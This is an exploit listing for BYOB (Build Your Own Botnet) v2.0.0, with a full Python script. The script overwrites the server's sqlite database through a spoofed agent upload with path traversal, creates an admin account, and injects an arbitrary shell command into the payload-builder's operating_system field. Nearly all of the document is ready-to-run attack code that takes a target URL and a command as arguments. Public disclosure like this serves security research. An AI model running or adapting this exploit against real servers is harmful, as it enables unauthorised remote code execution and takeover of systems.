Headline
Build Your Own Botnet 2.0.0 Remote Code Execution
Build Your Own Botnet (BYOB) version 2.0.0 exploit that works by spoofing an agent callback to overwrite the sqlite database and bypass authentication and exploiting an authenticated command injection in the payload builder page.
# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)# Date: 2024-08-14# Exploit Author: @_chebuya# Software Link: https://github.com/malwaredllc/byob# Version: v2.0.0# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy# CVE: CVE-2024-?????, CVE-2024-?????# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page# Github: # Blog: import sysimport jsonimport base64import stringimport randomimport argparseimport requestsfrom bs4 import BeautifulSoupdef get_csrf(session, url): r = session.get(url) soup = BeautifulSoup(r.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrf_token'})['value'] return csrf_tokendef upload_database(session, url, filename): with open('database.db', 'rb') as f: bindata = f.read() data = base64.b64encode(bindata).decode('ascii') json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"} headers = { 'Content-Length': str(len(json.dumps(json_data))) } print("[***] Uploading database") upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers) print(upload_response.status_code) return upload_response.status_codedef exploit(url, username, password, user_agent, command): s = requests.Session() # This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"] failed = True for filepath in filepaths: if upload_database(s, url, filepath) != 500: failed = False break if failed: print("[!!!] Failed to upload database, exiting") sys.exit(1) if password is None: password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)]) print(username + ":" + password) register_csrf = get_csrf(s, f'{url}/register') headers = { 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'csrf_token': register_csrf, 'username': username, 'password': password, 'confirm_password': password, 'submit': 'Sign Up' } print("[***] Registering user ") regsiter_response = s.post(f'{url}/register', headers=headers, data=data) print(regsiter_response.status_code) login_csrf = get_csrf(s, f'{url}/login') data = { 'csrf_token': login_csrf, 'username': username, 'password': password, 'submit': 'Log In' } print("[***] Logging in") login_response = s.post(f'{url}/login', headers=headers, data=data) print(login_response.status_code) headers = { 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', } data = f'format=exe&operating_system=nix$({command})&architecture=amd64' try: s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001) except requests.exceptions.ReadTimeout: passparser = argparse.ArgumentParser()parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True)parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin')parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None)parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36')parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True)args = parser.parse_args()exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)